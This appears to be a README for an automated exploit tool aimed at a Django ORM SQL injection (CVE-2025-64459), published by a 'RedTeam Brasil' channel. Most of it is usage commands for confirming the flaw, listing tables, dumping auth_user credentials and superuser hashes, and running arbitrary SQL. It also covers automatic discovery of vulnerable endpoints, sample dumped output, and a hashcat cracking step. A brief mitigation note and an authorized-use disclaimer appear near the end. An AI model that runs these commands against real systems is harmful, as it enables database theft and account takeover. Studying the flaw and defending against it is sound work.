
NEO-SQLi — exploit Django _connector SQL Injection (CVE-2025-64459) | canal RedTeam Brasil
Automated SQL Injection exploitation in Django's ORM
Q-object _connector · CVE-2025-64459
🎥 RedTeam Brasil channel — offensive security, hands-on, in Portuguese.
██████╗ ████████╗██████╗ connector-sqli
██╔══██╗╚══██╔══╝██╔══██╗ Django Q() `_connector` SQLi
██████╔╝ ██║ ██████╔╝ CVE-2025-64459
██╔══██╗ ██║ ██╔══██╗ RedTeam Brasil channel
██║ ██║ ██║ ██████╔╝ youtube.com/@RedTeamBrasil
╚═╝ ╚═╝ ╚═╝ ╚═════╝ authorized use only
Django's ORM builds filters using Q() objects. The constructor
Q(*args, _connector=None, _negated=False, **kwargs) accepts the special kwarg
_connector — the string (AND/OR) that links conditions inside the WHERE.
In affected versions, this value was not sanitized and went raw into the SQL.
When the application passes user input directly into Q() / .filter() /
.exclude() / .get() via dictionary expansion — the classic anti-pattern:
# ❌ VULNERABLE
posts = Post.objects.filter(Q(**request.GET)) # or .filter(**request.GET)
…the attacker controls _connector and injects arbitrary SQL between conditions
(works on SQLite, PostgreSQL, MySQL, etc.).
With
DEBUG = Trueexploitation becomes trivial: Django's error page returns the assembled SQL, the base table, and the column count — exactly what the tool uses to build the UNION by itself.
Generic (not tied to a target) and automated explorer:
--auto): crawls the home page + robots/sitemap + built-in wordlist, testing each route by Django's FieldError.DEBUG=True via FieldError.--proxy) and HTTPS targets.git clone https://github.com/rafaelchriss/RedTeamBrasil-CVE-2025-64459.git
cd RedTeamBrasil-CVE-2025-64459
pip install -r requirements.txt
chmod +x rtb_connector_sqli.py
# 1) confirm the flaw
python3 rtb_connector_sqli.py -u http://TARGET check
# 2) list tables
python3 rtb_connector_sqli.py -u http://TARGET tables
# 3) list columns of a table
python3 rtb_connector_sqli.py -u http://TARGET columns auth_user
# 4) dump (specific columns or all)
python3 rtb_connector_sqli.py -u http://TARGET dump auth_user --cols username,password,is_superuser
python3 rtb_connector_sqli.py -u http://TARGET dump auth_user --where "is_superuser=1"
# 5) shortcut for Django users
python3 rtb_connector_sqli.py -u http://TARGET users
# 6) free SQL expression
python3 rtb_connector_sqli.py -u http://TARGET query "sqlite_version()"
# 7) INTERACTIVE MODE (menu table → columns → dump)
python3 rtb_connector_sqli.py -u http://TARGET shell
# 8) DON'T KNOW THE ROUTE? let it find it by itself
python3 rtb_connector_sqli.py -u http://TARGET auto # just discovers and lists
python3 rtb_connector_sqli.py -u http://TARGET --auto shell # discovers and already exploits
With
--auto(or theautosubcommand) it crawls the home page +robots.txt/sitemap.xmland runs a built-in wordlist of listing/search routes (EN + PT-BR + APIs), marking those that return Django'sFieldError. If you pass a wrong--path, it falls back to discovery mode automatically.
# everything through Burp
python3 rtb_connector_sqli.py -u http://TARGET --proxy http://127.0.0.1:8080 users
# or via environment variable (without the flag)
export HTTP_PROXY=http://127.0.0.1:8080 HTTPS_PROXY=http://127.0.0.1:8080
python3 rtb_connector_sqli.py -u http://TARGET shell
[*] Target: http://TARGET/list
[+] Model fields (6): author, content, created_at, id, status, title
[+] SQLi confirmed in `_connector` (CVE-2025-64459). near "'RTB'": syntax error
[+] Base table: <app>_<model> · columns in SELECT: 6
[+] Reflected column (read): position 4
┌── auth_user (N)
│ admin | pbkdf2_sha256$600000$<salt>$<hash>= | is_superuser=1 | admin@target
└──
With the superuser hash in hand:
hashcat -m 10000 hash.txt rockyou.txt # Django uses pbkdf2_sha256
request.GET directly to Q()/.filter(). Use allow-list:
ALLOWED = {"title__icontains", "status"}
safe = {k: v for k, v in request.GET.items() if k in ALLOWED}
Post.objects.filter(**safe)
DEBUG = False in production (don't leak SQL/tables/settings).Educational tool and for authorized testing only (labs, CTFs, in-scope bug bounty, contracted pentest). Use against systems without explicit authorization is a crime — you are solely responsible.
Made by RedTeam Brasil · liked it? leave a like and subscribe to the channel.
| Item | Detail |
|---|
| CVE | CVE-2025-64459 |
| Component | django.db.models — Q() / QuerySet (_connector and column aliases) |
| Affected versions | Django < 4.2.26, < 5.1.14, < 5.2.8 |
| Fix | update to 4.2.26 / 5.1.14 / 5.2.8 (or later) |
| Impact | arbitrary database read (UNION/blind) → credential dump and chain escalation |
| Flag | What it does |
|---|
--path /search | vulnerable endpoint (default /list) |
--auto | finds the endpoint automatically (crawl + wordlist) |
--wordlist routes.txt | extra routes for discovery (one per line) |
--base app_model | forces the base table (if auto-detection fails) |
--proxy http://127.0.0.1:8080 | sends everything to Burp / mitmproxy |